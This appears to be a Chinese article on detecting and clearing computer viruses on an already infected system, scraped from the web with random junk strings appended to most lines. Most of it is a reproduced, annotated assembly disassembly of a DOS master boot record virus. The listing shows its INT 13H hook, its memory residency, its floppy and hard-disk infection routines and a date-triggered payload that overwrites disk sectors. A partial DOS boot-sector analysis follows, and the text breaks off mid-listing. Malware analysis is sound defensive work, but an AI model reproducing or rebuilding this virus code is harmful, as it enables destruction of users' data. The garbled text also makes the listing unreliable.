近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 vzQmijr-
?? fTnyCaB
?? 一 、 带毒环境下检测清除病毒的意义 1</t #r
?? /:];2P6#X
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 ?%TM7Z4
?? L&F\"q9q71
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 |kRx[UL
?? DL/*t.)"et
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 bu!<0AP"N+
?? O#ajoE
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 @ F"ShT0
?? 7*W$GCd8
?? 二 、带毒环境下检测清除病毒的原理 D"><S<C\C
?? pPqbD}p
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 3R96;d;
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 \y+F!;IxL
xn#I7]]G
;
yC`5
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " yvnrZ&x:
病毒体: C'#)bX{
JMP 01AF ;JMP到01AF /VOST^z!
DB 00 ;病毒标计 4zvU"np
DW 00F5 ;此为搬到高位址后,远程跳转指令 mCP +7q7
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX k{$"-3ed
DB 02 p~VW3u]
DW 0003 ;此为软盘识别标记,硬盘为0007 !)1Zp*
DW EC59 ; ;C@^wI
DW F000 ;INT 13H的原入口 X|0`$f
. vG=$UUh@~
. *`/@[S2,cu
. g{.@|;d<p
. <\Dl#DH
. 8c'-eT"
XOR AX,AX ;清除AX |Szr=[
MOV DS,AX; ;让DS=0000 ~.=HN}E
CLI ;清I标志积存器
oEf^o*5(
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 M(gWd8?#
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 )Syf5I
MOV SP,AX ;开机时为0000:7CB6 G\+MT(&5
STI ;设I标志积存器 Lr]Hvd
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A Jywz27j
PUSH AX ;用RETF,把程序转到引导或分区表位置 &dMSX}t
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 Z#t.wWSq
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 246!\zf
MOV AX,[004E] ;取INT 13H的段地址 mLdyt-1
MOV [7C0C],AX ;存到010C eyp\h8!u_
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 hndRgCo
;读写以便传播发作 bGLp0\0[
S~`AnX3!
MOV AX,[0413] ;取得内存K数,放在AX mAERZ<I
DEC AX ; T[II;[EiE
DEC AX ;减2k内存 ~ZIRCTQ"
MOV [0413],AX ;存回,通常是638K P_Ja?)GT
MOV CL,06 ; zb*4Nsda:
SHL AX,CL ; FO3*[O
MOV ES,AX ;算出减2K后病毒本体的位址 icbYfgQ
MOV [7C05],AX ;AX存入0105 YZ+g<HXB
+m},c-,=$w
;病毒常用手法将系统高段内存减少以便驻留 >dH*FZ:c
;这样可以免于被其他程序覆盖 Uv$u\D+@[
4B,A+{3yL
MOV AX,000E ;病毒拦INT 13H / =<ul-K
;ISR起始的偏移量 #GJh:#tt^
MOV [004C],AX ; Qi L
MOV [004E],ES ;设原为病毒的INT 13H _^A
NJ7
MOV CX,01BE ;病毒长度为1BE _Pm}]Y:_
MOV SI,7C00 ;从JMP 01AF开始 `^Sq>R!;
XOR DI,DI ;DI=0
K8we*
CLD ;清方向标志 soCHwiE
REPZ; _ o3}Ly}
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 c.> (/
CS: ;分区表能载入0000:7C00正常运作 xJ.!Q)[
JMP FAR [7C03] ;跳到为搬过后的位址 q/G5aO*
XOR AX,AX ;清AX TniKH(w/
MOV ES,AX ;ES=0000 `cRB!w=KHV
INT 13 ;复位磁盘 U6 R4UK
PUSH CS ; *XR~fs?/*W
POP DS ;让DS=CS y`dzo`f
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 (NlEb'~+
MOV BX,7C00 ;读到0000:7C00 YCdxU1V
MOV CX,[0008] ;硬盘第0道,第7扇区 Z*B(L@H
CMP CX,+07 ;比较是否从硬盘启动 Kt0Tuj@CY
JNZ 0213 ;不是跳0213 S,>n'r[
MOV DX,0080 ;第一硬盘C:第零面 CR=MjmH
INT 13 ;用INT 13号中断,读 a
VMFjkW
JMP 023E ;跳023E比较日期,发作或正常开机 \5_^P{p7<
MOV CX,[0008] ;软盘0道,第3扇区 (LPc\\Vv
MOV DX,0100 ;A:的第0面 1W7BN~p14
INT 13 ;INT 13读盘 ~;s)0M
JB 023E ;失败跳023E S?tLIi/
PUSH CS Ku'U^=bVm:
POPES ;让ES=CS Wuz~$SU
MOV AX,0201 ; X"GQ^]$O
MOV BX,0200 ; Hvk?(\x
MOV CX,0001 ; v%Xe)D
MOV DX,0080 ; w\4m-Z{
INT 13 ;读入C:的分区表到0200,以便下面比较 ,6L>f.V^(U
JB 023E ;失败跳023E |g!#
\
XOR SI,SI ;清SI |Q;1;QXd
CLD ;清方向标志以便比较 T`;M!-)2
LODSW ;载入一个WORD到AX s]>%_(5
CMP AX,[BX] ;比较有无病毒存在..E9AC 5Yr$dNe
JNZ 0287 ;没有则跳0287传染 M] *pBc(o0
LODSW ;载入一个WORD到AX ?^Ux+mVE
CMP AX,[BX+02] ;再次确认..0000 U0T N8O}Z
JNZ 0287 ;没有跳0287 <rF
XOR CX,CX ;清CX _
RYZyw
MOV AH,04 ; ,:{+
H
INT 1A ;取得日期 EC/R|\d?Un
CMP DX,0306 ;是否为三月六日 gV;GC{pY
JZ 024B ;是跳024B传染 '+wTrW m~j
RETF ;把程序交还给引导启动完成 bc-)y3gHU
}5Uf`pM8
步骤4:病毒INT 13代码分析 6Fb~`J~s
方法:U >S]')O$c
PUSH DS ;首先把要用到积存器 ;{20Heuz
PUSH AX ;入栈保存 Zv93cv
OR DL,DL ;比较是否为软盘 kRPg^Fw"Vw
JNZ 002F ;如不是则退出传染 >AJ|F)
XOR AX,AX ;AX=0 @9a=D<'>
MOV DS,AX ;数据代段=0 s,x]zG"
TEST BYTE PTR [043F],01 ;比较是否为A盘 A@r,A?(
JNZ 002F ;不是则退出 $Plk4 o*g
POP AX ;将以上保存积存器 !HYqM(|{.
POP DS ;弹栈恢复 xcA:Q`c.{
PUSHF ;压栈标志积存器 4N&}hOM'S
CS: ;以便执行原INT 13 2D"/k'iA
CALL FAR [000A] ;执行原INT 13 q4oZJ -`
PUSHF ;再次压栈 ,,gYU_V
CALL 0036 ;以便跳转到传染程序 e+TNG &_
POPF ;跳转到执行传染 5c8x:
e@
RETF 0002 ;结束中断调用返回 N5DS-gv
POP AX ;恢复 b.&YUg[#
POP DS ;堆栈 ^p/mJ1/s7
CS: ;跳转到原正常INT 13 r MlNp?{_
JMP FAR [000A] ;地址执行 {VG6m
Hw
R2@u[
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 a6_`V;
'iK0Wr
步骤5:传染过程分析 uip]K{/A!e
方法:U rg\w!L(
对软盘传染过程: =UY@,*q:c
PUSH AX ;工 ` 0F
IJT
PUSH BX ;作 yM@cml6Ox
PUSH CX ;寄 mr? ii
PUSH DX ;存 X*Zv,Wm
PUSH DS ;器 $)!Z"2T
PUSH ES ;入 r^)<Jy0|r
PUSH SI ;栈 =B1!em|
PUSH DI ;保存 clNP9{
PUSH CS ;以压/弹栈方式 jC%I]#!n
POP DS ;使数据段DS和 ! ZEKvW
PUSH CS ;附加段ES均指向 /_\4(vvf
POP ES ;代码段CS dQ]j
r.
MOV SI,0004 ;试4次
q-#fuD^
MOV AX,0201 ;设置各 p(Mv^ea
MOV BX,0200 ;积存器 ;f
Gi5=-
MOV CX,0001 ;为读软盘 4tjRju?
XOR DX,DX ;引导扇区做准备 xmDwoLU
PUSHF ;压栈标志积存器 m`~ Qr~
CALL FAR [000A] ;正常的INT 13调用 &0raa
JNB 0063 ;成功则转判断 FmPF7
XOR AX,AX ;不成功复位 _1ins;c52
PUSHF ;磁盘继续读 Qsa2iw{
CALL FAR [000A] ;如果4次 \z
'noc
DEC SI ;均匀不成功 yr?\YKV)I
JNZ 0045 ;则退出跳转 $.Ni'U
JMP 00A6 ;退出传染 )<d8y Lb
XOR SI,SI ;SI=0以便用 S5JnJkNn
CLD ;LODSW读入软盘 ;<\*(rUe
LODSW ;第1或第2字进行比较 @Klj!2cv$
CMP AX,[BX] ;比较如果不包含病毒标志 trLs4o,
JNZ 0071 ;则跳转写传染 N<x5:f#+
LODSW ;如果已有标志 5>
UgBA
CMP AX,[BX+02] ;则退出 {8Ll\j@ "
JZ 00A6 ;传染子程序 V|=
1<v
MOV AX,0301 ;为写盘准备 ~$B,K]
MOV DH,01 ;如果是360K Iu8=[F>
MOV CL,03 ;则写到1面0道3扇区 P1<;:!8'
CMP BYTE PTR [BX+15],FD ;比较软盘 j*"s~8u4
JZ 0080 ;如果大于360K H UjmJu6f{
MOV CL,0E ;写到1面0道14扇区 rYl37.QE
MOV [0008],CX ;写病毒标志到软盘 sdLFBiR
PUSHF ;调用原INT 13 {<@~;iq
CALL FAR [000A] ;进行传染 /.r($Sg^
JB 00A6 15COwc*k
MOV SI,03BE ;以下是将正常 ?4_;9MkN
MOV DI,01BE ;引导扇区从 ;
OsN^
MOV CX,0021 ;1BE起的21字节内容 Hi Yx(hY
CLD ;搬移到病毒程序尾部 0:*$i(2
REPZ ;开始复制 n2E2V<#
MOVSW hY!G>d{J
MOV AX,0301 ;写盘功能调用,写一个扇区 MEu-lM7v
XOR BX,BX ;将病毒程序 yAOC<d9 E
MOV CX,0001 ;写入软盘引导扇区内 [LCi,
XOR DX,DX ;设置为软盘 (&S v$L@
PUSHF I ;_.tG
CALL FAR [000A] ;执行正常INT 13调用写盘 X^ovP'c2
POP DI ;将 VaB7)r
POP SI ;工 Vr'Z5F*@
POP ES ;作 ,Gfnf%H\8>
POP DS ;寄 2rxdRg'YLQ
POP DX ;存 z,)Fvs4U.
POP CX ;器 (H$eXW7
POP BX ;退 \ys3&<;b
POP AX ;栈 rO
NLbrj
RET ;返回调用处 Hl#o& *Ui"
对硬盘传染过程: aD4ln]sFxG
MOV CX,0007 ;第7扇区 #r1x0s40D
MOV [0008],CX ;此处为硬盘引导标记 A)xI.Q6
MOV AX,301 ;写功能调用 .+y#7-#6
MOV DX,0080 ;设置为硬盘 *)`:Nm~y
INT 13 ;将正常引导扇区写到0面0道7扇区内 qcK)J/K"
JB 13E ;失败则转 }V 1sY^C
MOV SI,03BE ;原分区表地址 0t) IWD
MOV DI,01BE ;目标地址 z#y<QH
MOV CX,0021 ;整个分区表 -I -wdyDr
REPNZ +wmfl:\^{H
MOVSW ;开始复制 >,DR{A2hSB
;此段代码是将硬盘分区信息,搬移到病毒程序尾部 7
ir T6O<.
;这样在分析着查看硬盘分区信息时仍能看到该部分 }5~;jN=k
;内容,以次来麻痹分析者 | c;S'36
MOV AX,0301 ;准备写病毒提进硬盘 L2 I/h`n"
XOR BX,BX ;病毒体位置 o` e~1
INC CL ;第一扇区 }Eav@3h6
INT 13 ;开始写盘传染 H Q2-20
JMP 013E ;转到13E处判断是否为3月6日,是则发作 VAq:q8(K
q+K`+& @\
步骤6:破坏过程分析 M?,;TJ7Gd
方法:U txi
m|)
主要分析对硬盘数据破坏: !54%}x)3
. `]%{0 Rx
. @y,p-##e
. ?B-aj
. ,yB-jk?
. .N%$I6w
MOV DL,80 Z8m/8M
MOV BYTE PTR[0007],04 m+o>`1>a
;准备写硬盘 U9JqZ!
MOV AL,11 ;写17个扇区 m_pK'jc
MOV BX,5000 9(m^^
MOV ES,BX ;从内存ES:5000中处开始写 &?~> I[^~
INT 13 ;残不人睹 (vQShe\
JNB 0179 ;成功转179继续写 lU\|F5O@#
XOR AH,AH qB8<(vBP+
INT 13 ;不成功复位磁盘继续 ^!A{ 4NV
INC DH ;使写操作磁头加1继续? }Iu 6]?|'
CMP DH,[0007] ;比较是否小于0007单元值 "$WZd
JB 0150 ;是则返回开始处继续写 G",+jR]
XOR DH,DH ;DH=0 "MyYu}AD
INC CH ;再加扇区 "DUL} "5T
JMP 0150 ;反回继续写 7QQnvoP
;以上操作实际上是对硬盘执行4次写操作,每次17个扇区 R8ZW1
;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录 QPBf++|
;和文件分配表。 +'[iyHBJ
KVK@Snn
引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次 ~ WVrtY Ju
读盘的时将自身写入磁盘。 V482V#BP
引导过程如下: jildiT[s
1>调整堆栈位置 [9w8oNg0
2>修改并用修改后的磁盘参数表来复位磁盘系统 l!`m}$
3>计算根目录表的首扇区的位置及IO.SYS的扇区位置 c0tv!PSw
4>读入根目录表的首扇区 d~.#K S
5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS A0'Yfuie
6>将IO.SYS文件开头三个扇区读入内存0000:0700H处 EB)0 iQ
7>跳到0000:0700H处执行IO.SYS,引导完毕 u!t'J+:
003E FA CLI P/^:IfuR
003F 33C0 XOR AX,AX OrzDr
0041 8ED0 MOV SS,AX akaQ6DIdG
0041 8ED0 MOV SS,AX \;Ii(3+v;
0043 BC007C MOV SP,7C00 ; 初始化堆栈 J&lQ,T!?B
0046 16 PUSH SS r=s7be
0047 07 POP ES ;(ES)=0000H }APf^Ry
0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H f9;M"Pd
004B 36 SS: ;(SS)=0000H A6-JV8^
004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI `>K;S!z
004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表 T;I a;<mfE
004F 56 PUSH SI ;取到后压入堆栈中保存 CnJO]0Op3
0050 16 PUSH SS d~qDQ6!
0051 53 PUSH BX ;保存地址0000:0078H m,-:(82
0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推 vh((HS-)
0055 B90B00 MOV CX,000B ;磁盘参数表共11字节 K !`t EW[
0058 FC CLD :[,n`0lH
0059 F3 REPZ Cfa?LgSz
005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处 KpSHf9!&[
005B 06 PUSH ES Y@Ty_j~
005C 1F POP DS ;(DS)=0000H [7$.)}Q-
005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间" '#^ONn STn
0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数" ~]}7|VN.}
0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数" ny{|{a
0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址) qRTy}FU1
006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号 T'FRnC^~
006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表 iQ:]1H s
0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘 f\1)BZ'I
0072 7279 JB 00ED ;出错则转出错处理 N{f RZN
z~Gi/Ln
; 下面一段程序计算扇区位置 `NrxoU=
0074 33C0 XOR AX,AX ]Rz]"JZ\S
0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数 "`16-g97
007A 7408 JZ 0084 ;为零表示大硬盘? ]>&au8
007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处 Rs7=v2>I
0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的 &d=j_9
0084 A0107C MOV AL,[7C10] ;取FAT表的个数 YMC*<wXN
0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数 |]^OX$d
008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位) 4h?[NOA"
008F 13161E7C ADC DX,[7C1E] ; 高位 5_{C \S`T
0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位) @99@do|C
0097 83D200 ADC DX,+00 ; (高位) ~p^6
009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位) :+; UW
\
009D 8916527C MOV [7C52],DX ; (高位) |R DPx6!V
00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位) W$
M4#
00A4 89164B7C MOV [7C4B],DX ; (高位) N _Yop
00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节 sFMSH:5z
00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数 Wcw$
Zv
00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数" /qEoiL###
00B3 03C3 ADD AX,BX ;这两条指令是为了取整 A@+pvC&
00B5 48 DEC AX .XTBy/(0
00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数 ?~hC.5
00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位) JuS#p5E #
00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位) <t&0[l
;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS )y_MI
r
00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值 zJOL\J'
00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位) f8!*4Bw
00C8 A1507C MOV AX,[7C50] ; (低位) b<NI6z8\
00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号 3`$-
00CE 721D JB 00ED ;出错则转出错处理 K'Wg_ihA
00D0 B001 MOV AL,01 +,f|Y6L<